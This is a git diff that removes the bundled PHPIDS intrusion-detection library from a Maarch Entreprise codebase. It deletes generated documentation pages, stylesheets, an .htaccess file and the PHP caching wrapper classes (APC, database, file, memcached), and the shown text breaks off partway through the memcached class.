href='PHPIDS/IDS_Event.html' target='right'>IDS_Event</a></dd> - <dd><a href='PHPIDS/IDS_Filter.html' target='right'>IDS_Filter</a></dd> - <dd><a href='PHPIDS/IDS_Filter_Storage.html' target='right'>IDS_Filter_Storage</a></dd> - <dd><a href='PHPIDS/IDS_Init.html' target='right'>IDS_Init</a></dd> - <dd><a href='PHPIDS/IDS_Log_Composite.html' target='right'>IDS_Log_Composite</a></dd> - <dd><a href='PHPIDS/IDS_Log_Database.html' target='right'>IDS_Log_Database</a></dd> - <dd><a href='PHPIDS/IDS_Log_Email.html' target='right'>IDS_Log_Email</a></dd> - <dd><a href='PHPIDS/IDS_Log_File.html' target='right'>IDS_Log_File</a></dd> - <dd><a href='PHPIDS/IDS_Monitor.html' target='right'>IDS_Monitor</a></dd> - <dd><a href='PHPIDS/IDS_Report.html' target='right'>IDS_Report</a></dd> - <dt class="folder-title">Files</dt> - <dd><a href='PHPIDS/_Log---Composite.php.html' target='right'>Composite.php</a></dd> - <dd><a href='PHPIDS/_Converter.php.html' target='right'>Converter.php</a></dd> - <dd><a href='PHPIDS/_Caching---Database.php.html' target='right'>Database.php</a></dd> - <dd><a href='PHPIDS/_Log---Database.php.html' target='right'>Database.php</a></dd> - <dd><a href='PHPIDS/_Log---Email.php.html' target='right'>Email.php</a></dd> - <dd><a href='PHPIDS/_Event.php.html' target='right'>Event.php</a></dd> - <dd><a href='PHPIDS/_Caching---Factory.php.html' target='right'>Factory.php</a></dd> - <dd><a href='PHPIDS/_Log---File.php.html' target='right'>File.php</a></dd> - <dd><a href='PHPIDS/_Caching---File.php.html' target='right'>File.php</a></dd> - <dd><a href='PHPIDS/_Filter.php.html' target='right'>Filter.php</a></dd> - <dd><a href='PHPIDS/_Init.php.html' target='right'>Init.php</a></dd> - <dd><a href='PHPIDS/_Caching---Interface.php.html' target='right'>Interface.php</a></dd> - <dd><a href='PHPIDS/_Log---Interface.php.html' target='right'>Interface.php</a></dd> - <dd><a href='PHPIDS/_Caching---Memcached.php.html' target='right'>Memcached.php</a></dd> - <dd><a href='PHPIDS/_Monitor.php.html' target='right'>Monitor.php</a></dd> - <dd><a href='PHPIDS/_Report.php.html' target='right'>Report.php</a></dd> - <dd><a href='PHPIDS/_Caching---Session.php.html' target='right'>Session.php</a></dd> - <dd><a href='PHPIDS/_Filter---Storage.php.html' target='right'>Storage.php</a></dd> - - - </dl> -</div> -<p class="notes"><a href="http://www.phpdoc.org" target="_blank">phpDocumentor v <span class="field">1.4.2</span></a></p> -</BODY> -</HTML> \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/media/banner.css b/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/media/banner.css deleted file mode 100755 index f2149ebb4dcde110b6b54dec1a0e11e0297c46b7..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/media/banner.css +++ /dev/null @@ -1,32 +0,0 @@ -body -{ - background-color: #CCCCFF; - margin: 0px; - padding: 0px; -} - -/* Banner (top bar) classes */ - -.banner { } - -.banner-menu -{ - clear: both; - padding: .5em; - border-top: 2px solid #6666AA; -} - -.banner-title -{ - text-align: right; - font-size: 20pt; - font-weight: bold; - margin: .2em; -} - -.package-selector -{ - background-color: #AAAADD; - border: 1px solid black; - color: yellow; -} diff --git a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/media/stylesheet.css b/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/media/stylesheet.css deleted file mode 100755 index 1fc91c197c914e302325cd6685f71fea850e2554..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/media/stylesheet.css +++ /dev/null @@ -1,144 +0,0 @@ -a { color: #336699; text-decoration: none; } -a:hover { color: #6699CC; text-decoration: underline; } -a:active { color: #6699CC; text-decoration: underline; } - -body { background : #FFFFFF; } -body, table { font-family: Georgia, Times New Roman, Times, serif; font-size: 10pt } -p, li { line-height: 140% } -a img { border: 0px; } -dd { margin-left: 0px; padding-left: 1em; } - -/* Page layout/boxes */ - -.info-box {} -.info-box-title { margin: 1em 0em 0em 0em; padding: .25em; font-weight: normal; font-size: 14pt; border: 2px solid #999999; background-color: #CCCCFF } -.info-box-body { border: 1px solid #999999; padding: .5em; } -.nav-bar { font-size: 8pt; white-space: nowrap; text-align: right; padding: .2em; margin: 0em 0em 1em 0em; } - -.oddrow { background-color: #F8F8F8; border: 1px solid #AAAAAA; padding: .5em; margin-bottom: 1em} -.evenrow { border: 1px solid #AAAAAA; padding: .5em; margin-bottom: 1em} - -.page-body { max-width: 800px; margin: auto; } -.tree dl { margin: 0px } - -/* Index formatting classes */ - -.index-item-body { margin-top: .5em; margin-bottom: .5em} -.index-item-description { margin-top: .25em } -.index-item-details { font-weight: normal; font-style: italic; font-size: 8pt } -.index-letter-section { background-color: #EEEEEE; border: 1px dotted #999999; padding: .5em; margin-bottom: 1em} -.index-letter-title { font-size: 12pt; font-weight: bold } -.index-letter-menu { text-align: center; margin: 1em } -.index-letter { font-size: 12pt } - -/* Docbook classes */ - -.description {} -.short-description { font-weight: bold; color: #666666; } -.tags { padding-left: 0em; margin-left: 3em; color: #666666; list-style-type: square; } -.parameters { padding-left: 0em; margin-left: 3em; font-style: italic; list-style-type: square; } -.redefinitions { font-size: 8pt; padding-left: 0em; margin-left: 2em; } -.package { } -.package-title { font-weight: bold; font-size: 14pt; border-bottom: 1px solid black } -.package-details { font-size: 85%; } -.sub-package { font-weight: bold; font-size: 120% } -.tutorial { border-width: thin; border-color: #0066ff } -.tutorial-nav-box { width: 100%; border: 1px solid #999999; background-color: #F8F8F8; } -.nav-button-disabled { color: #999999; } -.nav-button:active, -.nav-button:focus, -.nav-button:hover { background-color: #DDDDDD; outline: 1px solid #999999; text-decoration: none } -.folder-title { font-style: italic } - -/* Generic formatting */ - -.field { font-weight: bold; } -.detail { font-size: 8pt; } -.notes { font-style: italic; font-size: 8pt; } -.separator { background-color: #999999; height: 2px; } -.warning { color: #FF6600; } -.disabled { font-style: italic; color: #999999; } - -/* Code elements */ - -.line-number { } - -.class-table { width: 100%; } -.class-table-header { border-bottom: 1px dotted #666666; text-align: left} -.class-name { color: #000000; font-weight: bold; } - -.method-summary { padding-left: 1em; font-size: 8pt } -.method-header { } -.method-definition { margin-bottom: .3em } -.method-title { font-weight: bold; } -.method-name { font-weight: bold; } -.method-signature { font-size: 85%; color: #666666; margin: .5em 0em } -.method-result { font-style: italic; } - -.var-summary { padding-left: 1em; font-size: 8pt; } -.var-header { } -.var-title { margin-bottom: .3em } -.var-type { font-style: italic; } -.var-name { font-weight: bold; } -.var-default {} -.var-description { font-weight: normal; color: #000000; } - -.include-title { } -.include-type { font-style: italic; } -.include-name { font-weight: bold; } - -.const-title { } -.const-name { font-weight: bold; } - -/* Syntax highlighting */ - -.src-code { border: 1px solid #336699; padding: 1em; background-color: #EEEEEE; } -.src-line { font-family: 'Courier New', Courier, monospace; font-weight: normal; } - -.src-comm { color: green; } -.src-id { } -.src-inc { color: #0000FF; } -.src-key { color: #0000FF; } -.src-num { color: #CC0000; } -.src-str { color: #66cccc; } -.src-sym { font-weight: bold; } -.src-var { } - -.src-php { font-weight: bold; } - -.src-doc { color: #009999 } -.src-doc-close-template { color: #0000FF } -.src-doc-coretag { color: #0099FF; font-weight: bold } -.src-doc-inlinetag { color: #0099FF } -.src-doc-internal { color: #6699cc } -.src-doc-tag { color: #0080CC } -.src-doc-template { color: #0000FF } -.src-doc-type { font-style: italic } -.src-doc-var { font-style: italic } - -.tute-tag { color: #009999 } -.tute-attribute-name { color: #0000FF } -.tute-attribute-value { color: #0099FF } -.tute-entity { font-weight: bold; } -.tute-comment { font-style: italic } -.tute-inline-tag { color: #636311; font-weight: bold } - -/* tutorial */ - -.authors { } -.author { font-style: italic; font-weight: bold } -.author-blurb { margin: .5em 0em .5em 2em; font-size: 85%; font-weight: normal; font-style: normal } -.example { border: 1px dashed #999999; background-color: #EEEEEE; padding: .5em; } -*[class="example"] { line-height : 0.5em } -.listing { border: 1px dashed #999999; background-color: #EEEEEE; padding: .5em; white-space: nowrap; } -*[class="listing"] { line-height : 0.5em } -.release-info { font-size: 85%; font-style: italic; margin: 1em 0em } -.ref-title-box { } -.ref-title { } -.ref-purpose { font-style: italic; color: #666666 } -.ref-synopsis { } -.title { font-weight: bold; margin: 1em 0em 0em 0em; padding: .25em; border: 2px solid #999999; background-color: #CCCCFF } -.cmd-synopsis { margin: 1em 0em } -.cmd-title { font-weight: bold } -.toc { margin-left: 2em; padding-left: 0em } - diff --git a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/packages.html b/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/packages.html deleted file mode 100755 index 2f76eb121bb21fab2e6bb88d7efe0024a6a96fb9..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/packages.html +++ /dev/null @@ -1,28 +0,0 @@ -<?xml version="1.0" encoding="iso-8859-1"?> -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> - <html xmlns="http://www.w3.org/1999/xhtml"> - <head> - <!-- template designed by Marco Von Ballmoos --> - <title></title> - <link rel="stylesheet" href="media/stylesheet.css" /> - <link rel="stylesheet" href="media/banner.css" /> - <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/> - </head> - <body> - <div class="banner"> - <div class="banner-title">PHPIDS</div> - <div class="banner-menu"> - <table cellpadding="0" cellspacing="0" style="width: 100%"> - <tr> - <td> - </td> - <td style="width: 2em"> </td> - <td style="text-align: right"> - <a href="li_PHPIDS.html" target="left_bottom">PHPIDS</a> - </td> - </tr> - </table> - </div> - </div> - </body> - </html> \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/.htaccess b/apps/maarch_entreprise/tools/phpids/lib/IDS/.htaccess deleted file mode 100755 index 878d02ab1a74549ed012ce714e4b46f8572782cc..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/.htaccess +++ /dev/null @@ -1,5 +0,0 @@ -# in case PHPIDS is placed in the web-root -deny from all - -# silence is golden -php_flag display_errors off \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/Caching/Apc.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/Caching/Apc.php deleted file mode 100755 index 405aca3efde0bcc898d6d302018f331c9ab8e1b9..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/Caching/Apc.php +++ /dev/null @@ -1,151 +0,0 @@ -<?php -/** - * PHPIDS - * - * Requirements: PHP5, SimpleXML - * - * Copyright (c) 2008 PHPIDS group (https://phpids.org) - * - * PHPIDS is free software; you can redistribute it and/or modify - * it under the terms of the GNU Lesser General Public License as published by - * the Free Software Foundation, version 3 of the License, or - * (at your option) any later version. - * - * PHPIDS is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public License - * along with PHPIDS. If not, see <http://www.gnu.org/licenses/>. - * - * PHP version 5.1.6+ - * - * @category Security - * @package PHPIDS - * @author Mario Heiderich <mario.heiderich@gmail.com> - * @author Christian Matthies <ch0012@gmail.com> - * @author Lars Strojny <lars@strojny.net> - * @license http://www.gnu.org/licenses/lgpl.html LGPL - * @link http://php-ids.org/ - */ - -require_once 'IDS/Caching/Interface.php'; - -/** - * APC caching wrapper - * - * This class inhabits functionality to get and set cache via memcached. - * - * @category Security - * @package PHPIDS - * @author Yves Berkholz <godzilla80@gmx.net> - * @copyright 2007-2009 The PHPIDS Groupoup - * @license http://www.gnu.org/licenses/lgpl.html LGPL - * @version Release: $Id$ - * @link http://php-ids.org/ - * @since Version 0.6.5 - */ -class IDS_Caching_Apc implements IDS_Caching_Interface -{ - - /** - * Caching type - * - * @var string - */ - private $type = null; - - /** - * Cache configuration - * - * @var array - */ - private $config = null; - - /** - * Flag if the filter storage has been found in memcached - * - * @var boolean - */ - private $isCached = false; - - /** - * Holds an instance of this class - * - * @var object - */ - private static $cachingInstance = null; - - - /** - * Constructor - * - * @param string $type caching type - * @param array $init the IDS_Init object - * - * @return void - */ - public function __construct($type, $init) - { - - $this->type = $type; - $this->config = $init->config['Caching']; - } - - /** - * Returns an instance of this class - * - * @param string $type caching type - * @param object $init the IDS_Init object - * - * @return object $this - */ - public static function getInstance($type, $init) - { - - if (!self::$cachingInstance) { - self::$cachingInstance = new IDS_Caching_Apc($type, $init); - } - - return self::$cachingInstance; - } - - /** - * Writes cache data - * - * @param array $data the caching data - * - * @return object $this - */ - public function setCache(array $data) - { - if(!$this->isCached) - apc_store($this->config['key_prefix'] . '.storage', - $data, $this->config['expiration_time']); - return $this; - } - - /** - * Returns the cached data - * - * Note that this method returns false if either type or file cache is - * not set - * - * @return mixed cache data or false - */ - public function getCache() - { - $data = apc_fetch($this->config['key_prefix'] . '.storage'); - $this->isCached = !empty($data); - return $data; - } -} - -/** - * Local variables: - * tab-width: 4 - * c-basic-offset: 4 - * End: - * vim600: sw=4 ts=4 expandtab - */ diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/Caching/Database.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/Caching/Database.php deleted file mode 100755 index 86b749892da9e3a9e96ec67aaad91ce5ee61b1bb..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/Caching/Database.php +++ /dev/null @@ -1,291 +0,0 @@ -<?php - -/** - * PHPIDS - * - * Requirements: PHP5, SimpleXML - * - * Copyright (c) 2008 PHPIDS group (https://phpids.org) - * - * PHPIDS is free software; you can redistribute it and/or modify - * it under the terms of the GNU Lesser General Public License as published by - * the Free Software Foundation, version 3 of the License, or - * (at your option) any later version. - * - * PHPIDS is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public License - * along with PHPIDS. If not, see <http://www.gnu.org/licenses/>. - * - * PHP version 5.1.6+ - * - * @category Security - * @package PHPIDS - * @author Mario Heiderich <mario.heiderich@gmail.com> - * @author Christian Matthies <ch0012@gmail.com> - * @author Lars Strojny <lars@strojny.net> - * @license http://www.gnu.org/licenses/lgpl.html LGPL - * @link http://php-ids.org/ - */ - -require_once 'IDS/Caching/Interface.php'; - -/** - * Needed SQL: - * - - #create the database - - CREATE DATABASE IF NOT EXISTS `phpids` DEFAULT CHARACTER - SET utf8 COLLATE utf8_general_ci; - DROP TABLE IF EXISTS `cache`; - - #now select the created datbase and create the table - - CREATE TABLE `cache` ( - `type` VARCHAR( 32 ) NOT null , - `data` TEXT NOT null , - `created` DATETIME NOT null , - `modified` DATETIME NOT null - ) ENGINE = MYISAM ; - */ - -/** - * Database caching wrapper - * - * This class inhabits functionality to get and set cache via a database. - * - * @category Security - * @package PHPIDS - * @author Christian Matthies <ch0012@gmail.com> - * @author Mario Heiderich <mario.heiderich@gmail.com> - * @author Lars Strojny <lars@strojny.net> - * @copyright 2007-2009 The PHPIDS Groupup - * @license http://www.gnu.org/licenses/lgpl.html LGPL - * @version Release: $Id:Database.php 517 2007-09-15 15:04:13Z mario $ - * @link http://php-ids.org/ - * @since Version 0.4 - */ -class IDS_Caching_Database implements IDS_Caching_Interface -{ - - /** - * Caching type - * - * @var string - */ - private $type = null; - - /** - * Cache configuration - * - * @var array - */ - private $config = null; - - /** - * DBH - * - * @var object - */ - private $handle = null; - - /** - * Holds an instance of this class - * - * @var object - */ - private static $cachingInstance = null; - - /** - * Constructor - * - * Connects to database. - * - * @param string $type caching type - * @param object $init the IDS_Init object - * - * @return void - */ - public function __construct($type, $init) - { - - $this->type = $type; - $this->config = $init->config['Caching']; - $this->handle = $this->_connect(); - } - - /** - * Returns an instance of this class - * - * @static - * @param string $type caching type - * @param object $init the IDS_Init object - * - * @return object $this - */ - public static function getInstance($type, $init) - { - - if (!self::$cachingInstance) { - self::$cachingInstance = new IDS_Caching_Database($type, $init); - } - return self::$cachingInstance; - } - - /** - * Writes cache data into the database - * - * @param array $data the caching data - * - * @throws PDOException if a db error occurred - * @return object $this - */ - public function setCache(array $data) - { - - $handle = $this->handle; - - $rows = $handle->query('SELECT created FROM `' . - $this->config['table'].'`'); - - if (!$rows || $rows->rowCount() === 0) { - - $this->_write($handle, $data); - } else { - - foreach ($rows as $row) { - - if ((time()-strtotime($row['created'])) > - $this->config['expiration_time']) { - - $this->_write($handle, $data); - } - } - } - - return $this; - } - - /** - * Returns the cached data - * - * Note that this method returns false if either type or file cache is - * not set - * - * @throws PDOException if a db error occurred - * @return mixed cache data or false - */ - public function getCache() - { - - try{ - $handle = $this->handle; - $result = $handle->prepare('SELECT * FROM `' . - $this->config['table'] . - '` where type=?'); - $result->execute(array($this->type)); - - foreach ($result as $row) { - return unserialize($row['data']); - } - - } catch (PDOException $e) { - throw new PDOException('PDOException: ' . $e->getMessage()); - } - return false; - } - - /** - * Connect to database and return a handle - * - * @return object PDO - * @throws Exception if connection parameters are faulty - * @throws PDOException if a db error occurred - */ - private function _connect() - { - - // validate connection parameters - if (!$this->config['wrapper'] - || !$this->config['user'] - || !$this->config['password'] - || !$this->config['table']) { - - throw new Exception(' - Insufficient connection parameters' - ); - } - - // try to connect - try { - $handle = new PDO( - $this->config['wrapper'], - $this->config['user'], - $this->config['password'] - ); - $handle->setAttribute( - PDO::MYSQL_ATTR_USE_BUFFERED_QUERY, true - ); - - } catch (PDOException $e) { - throw new PDOException('PDOException: ' . $e->getMessage()); - } - return $handle; - } - - /** - * Write the cache data to the table - * - * @param object $handle the database handle - * @param array $data the caching data - * - * @return object PDO - * @throws PDOException if a db error occurred - */ - private function _write($handle, $data) - { - - try { - $handle->query('TRUNCATE ' . - $this->config['table'].''); - $statement = $handle->prepare(' - INSERT INTO `' . - $this->config['table'].'` ( - type, - data, - created, - modified - ) - VALUES ( - :type, - :data, - now(), - now() - ) - '); - - $statement->bindParam('type', - $handle->quote($this->type)); - $statement->bindParam('data', serialize($data)); - - if (!$statement->execute()) { - throw new PDOException($statement->errorCode()); - } - - } catch (PDOException $e) { - throw new PDOException('PDOException: ' . $e->getMessage()); - } - } -} - -/** - * Local variables: - * tab-width: 4 - * c-basic-offset: 4 - * End: - * vim600: sw=4 ts=4 expandtab - */ diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/Caching/Factory.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/Caching/Factory.php deleted file mode 100755 index 1711acb5a39d376c42f119bd8e8d239b8a347816..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/Caching/Factory.php +++ /dev/null @@ -1,94 +0,0 @@ -<?php - -/** - * PHPIDS - * - * Requirements: PHP5, SimpleXML - * - * Copyright (c) 2008 PHPIDS group (https://phpids.org) - * - * PHPIDS is free software; you can redistribute it and/or modify - * it under the terms of the GNU Lesser General Public License as published by - * the Free Software Foundation, version 3 of the License, or - * (at your option) any later version. - * - * PHPIDS is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public License - * along with PHPIDS. If not, see <http://www.gnu.org/licenses/>. - * - * PHP version 5.1.6+ - * - * @category Security - * @package PHPIDS - * @author Mario Heiderich <mario.heiderich@gmail.com> - * @author Christian Matthies <ch0012@gmail.com> - * @author Lars Strojny <lars@strojny.net> - * @license http://www.gnu.org/licenses/lgpl.html LGPL - * @link http://php-ids.org/ - */ - -/** - * Caching factory - * - * This class is used as a factory to load the correct concrete caching - * implementation. - * - * @category Security - * @package PHPIDS - * @author Christian Matthies <ch0012@gmail.com> - * @author Mario Heiderich <mario.heiderich@gmail.com> - * @author Lars Strojny <lars@strojny.net> - * @copyright 2007-2009 The PHPIDS Group - * @license http://www.gnu.org/licenses/lgpl.html LGPL - * @version Release: $Id:Factory.php 517 2007-09-15 15:04:13Z mario $ - * @link http://php-ids.org/ - * @since Version 0.4 - */ -class IDS_Caching -{ - - /** - * Factory method - * - * @param object $init the IDS_Init object - * @param string $type the caching type - * - * @return object the caching facility - */ - public static function factory($init, $type) - { - - $object = false; - $wrapper = preg_replace( - '/\W+/m', - null, - ucfirst($init->config['Caching']['caching']) - ); - $class = 'IDS_Caching_' . $wrapper; - $path = dirname(__FILE__) . DIRECTORY_SEPARATOR . - $wrapper . '.php'; - - if (file_exists($path)) { - include_once $path; - - if (class_exists($class)) { - $object = call_user_func(array($class, 'getInstance'), - $type, $init); - } - } - - return $object; - } -} - -/** - * Local variables: - * tab-width: 4 - * c-basic-offset: 4 - * End: - * vim600: sw=4 ts=4 expandtab - */ diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/Caching/File.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/Caching/File.php deleted file mode 100755 index 5ed398673b2f270bf4f937fee6c5d24fc0c883f3..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/Caching/File.php +++ /dev/null @@ -1,187 +0,0 @@ -<?php - -/** - * PHPIDS - * - * Requirements: PHP5, SimpleXML - * - * Copyright (c) 2008 PHPIDS group (https://phpids.org) - * - * PHPIDS is free software; you can redistribute it and/or modify - * it under the terms of the GNU Lesser General Public License as published by - * the Free Software Foundation, version 3 of the License, or - * (at your option) any later version. - * - * PHPIDS is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public License - * along with PHPIDS. If not, see <http://www.gnu.org/licenses/>. - * - * PHP version 5.1.6+ - * - * @category Security - * @package PHPIDS - * @author Mario Heiderich <mario.heiderich@gmail.com> - * @author Christian Matthies <ch0012@gmail.com> - * @author Lars Strojny <lars@strojny.net> - * @license http://www.gnu.org/licenses/lgpl.html LGPL - * @link http://php-ids.org/ - */ - -require_once 'IDS/Caching/Interface.php'; - -/** - * File caching wrapper - * - * This class inhabits functionality to get and set cache via a static flatfile. - * - * @category Security - * @package PHPIDS - * @author Christian Matthies <ch0012@gmail.com> - * @author Mario Heiderich <mario.heiderich@gmail.com> - * @author Lars Strojny <lars@strojny.net> - * @copyright 2007-2009 The PHPIDS Group - * @license http://www.gnu.org/licenses/lgpl.html LGPL - * @version Release: $Id:File.php 517 2007-09-15 15:04:13Z mario $ - * @link http://php-ids.org/ - * @since Version 0.4 - */ -class IDS_Caching_File implements IDS_Caching_Interface -{ - - /** - * Caching type - * - * @var string - */ - private $type = null; - - /** - * Cache configuration - * - * @var array - */ - private $config = null; - - /** - * Path to cache file - * - * @var string - */ - private $path = null; - - /** - * Holds an instance of this class - * - * @var object - */ - private static $cachingInstance = null; - - /** - * Constructor - * - * @param string $type caching type - * @param object $init the IDS_Init object - * - * @return void - */ - public function __construct($type, $init) - { - - $this->type = $type; - $this->config = $init->config['Caching']; - $this->path = $init->getBasePath() . $this->config['path']; - - if (file_exists($this->path) && !is_writable($this->path)) { - throw new Exception('Make sure all files in ' . - htmlspecialchars($this->path, ENT_QUOTES, 'UTF-8') . - 'are writeable!'); - } - } - - /** - * Returns an instance of this class - * - * @param string $type caching type - * @param object $init the IDS_Init object - * - * @return object $this - */ - public static function getInstance($type, $init) - { - if (!self::$cachingInstance) { - self::$cachingInstance = new IDS_Caching_File($type, $init); - } - - return self::$cachingInstance; - } - - /** - * Writes cache data into the file - * - * @param array $data the cache data - * - * @throws Exception if cache file couldn't be created - * @return object $this - */ - public function setCache(array $data) - { - - if (!is_writable(preg_replace('/[\/][^\/]+\.[^\/]++$/', null, - $this->path))) { - throw new Exception('Temp directory ' . - htmlspecialchars($this->path, ENT_QUOTES, 'UTF-8') . - ' seems not writable'); - } - - if ((!file_exists($this->path) || (time()-filectime($this->path)) > - $this->config['expiration_time'])) { - $handle = @fopen($this->path, 'w+'); - $serialized = @serialize($data); - - if (!$handle) { - throw new Exception("Cache file couldn't be created"); - } - if (!$serialized) { - throw new Exception("Cache data couldn't be serialized"); - } - - fwrite($handle, $serialized); - fclose($handle); - } - - return $this; - } - - /** - * Returns the cached data - * - * Note that this method returns false if either type or file cache is - * not set - * - * @return mixed cache data or false - */ - public function getCache() - { - - // make sure filters are parsed again if cache expired - if (file_exists($this->path) && (time()-filectime($this->path)) < - $this->config['expiration_time']) { - $data = unserialize(file_get_contents($this->path)); - return $data; - } - - return false; - } -} - -/** - * Local variables: - * tab-width: 4 - * c-basic-offset: 4 - * End: - * vim600: sw=4 ts=4 expandtab - */ diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/Caching/Interface.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/Caching/Interface.php deleted file mode 100755 index d9558e84f02f3448b848684a6da6d4cae651a7aa..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/Caching/Interface.php +++ /dev/null @@ -1,73 +0,0 @@ -<?php - -/** - * PHPIDS - * - * Requirements: PHP5, SimpleXML - * - * Copyright (c) 2008 PHPIDS group (https://phpids.org) - * - * PHPIDS is free software; you can redistribute it and/or modify - * it under the terms of the GNU Lesser General Public License as published by - * the Free Software Foundation, version 3 of the License, or - * (at your option) any later version. - * - * PHPIDS is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public License - * along with PHPIDS. If not, see <http://www.gnu.org/licenses/>. - * - * PHP version 5.1.6+ - * - * @category Security - * @package PHPIDS - * @author Mario Heiderich <mario.heiderich@gmail.com> - * @author Christian Matthies <ch0012@gmail.com> - * @author Lars Strojny <lars@strojny.net> - * @license http://www.gnu.org/licenses/lgpl.html LGPL - * @link http://php-ids.org/ - */ - -/** - * Caching wrapper interface - * - * @category Security - * @package PHPIDS - * @author Christian Matthies <ch0012@gmail.com> - * @author Mario Heiderich <mario.heiderich@gmail.com> - * @author Lars Strojny <lars@strojny.net> - * @copyright 2007-2009 The PHPIDS Group - * @version SVN: $Id:Interface.php 517 2007-09-15 15:04:13Z mario $ - * @license http://www.gnu.org/licenses/lgpl.html LGPL - * @since Version 0.4 - * @link http://php-ids.org/ - */ -interface IDS_Caching_Interface -{ - /** - * Interface method - * - * @param array $data the cache data - * - * @return void - */ - public function setCache(array $data); - - /** - * Interface method - * - * @return void - */ - public function getCache(); -} - -/** - * Local variables: - * tab-width: 4 - * c-basic-offset: 4 - * End: - * vim600: sw=4 ts=4 expandtab - */ diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/Caching/Memcached.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/Caching/Memcached.php deleted file mode 100755 index 1d092967f4e6e858a9d68b2b8c3e8bd2c6bc17ea..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/Caching/Memcached.php +++ /dev/null @@ -1,195 +0,0 @@ -<?php - -/** - * PHPIDS - * - * Requirements: PHP5, SimpleXML - * - * Copyright (c) 2008 PHPIDS group (https://phpids.org) - * - * PHPIDS is free software; you can redistribute it and/or modify - * it under the terms of the GNU Lesser General Public License as published by - * the Free Software Foundation, version 3 of the License, or - * (at your option) any later version. - * - * PHPIDS is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public License - * along with PHPIDS. If not, see <http://www.gnu.org/licenses/>. - * - * PHP version 5.1.6+ - * - * @category Security - * @package PHPIDS - * @author Mario Heiderich <mario.heiderich@gmail.com> - * @author Christian Matthies <ch0012@gmail.com> - * @author Lars Strojny <lars@strojny.net> - * @license http://www.gnu.org/licenses/lgpl.html LGPL - * @link http://php-ids.org/ - */ - -require_once 'IDS/Caching/Interface.php'; - -/** - * File caching wrapper - * - * This class inhabits functionality to get and set cache via memcached. - * - * @category Security - * @package PHPIDS - * @author Christian Matthies <ch0012@gmail.com> - * @author Mario Heiderich <mario.heiderich@gmail.com> - * @author Lars Strojny <lars@strojny.net> - * @copyright 2007-2009 The PHPIDS Groupoup - * @license http://www.gnu.org/licenses/lgpl.html LGPL - * @version Release: $Id:Memcached.php 517 2007-09-15 15:04:13Z mario $ - * @link http://php-ids.org/ - * @since Version 0.4 - */ -class IDS_Caching_Memcached implements IDS_Caching_Interface -{ - - /** - * Caching type - * - * @var string - */ - private $type = null; - - /** - * Cache configuration - * - * @var array - */ - private $config = null; - - /** - * Flag if the filter storage has been found in memcached - * - * @var boolean - */ - private $isCached = false; - - /** - * Memcache object - * - * @var object - */ - private $memcache = null; - - /** - * Holds an instance of this class - * - * @var object - */ - private static $cachingInstance = null; - - - /** - * Constructor - * - * @param string $type caching type - * @param array $init the IDS_Init object - * - * @return void - */ - public function __construct($type, $init) - { - - $this->type = $type; - $this->config = $init->config['Caching']; - - $this->_connect(); - } - - /** - * Returns an instance of this class - * - * @param string $type caching type - * @param object $init the IDS_Init object - * - * @return object $this - */ - public static function getInstance($type, $init) - { - - if (!self::$cachingInstance) { - self::$cachingInstance = new IDS_Caching_Memcached($type, $init); - } - - return 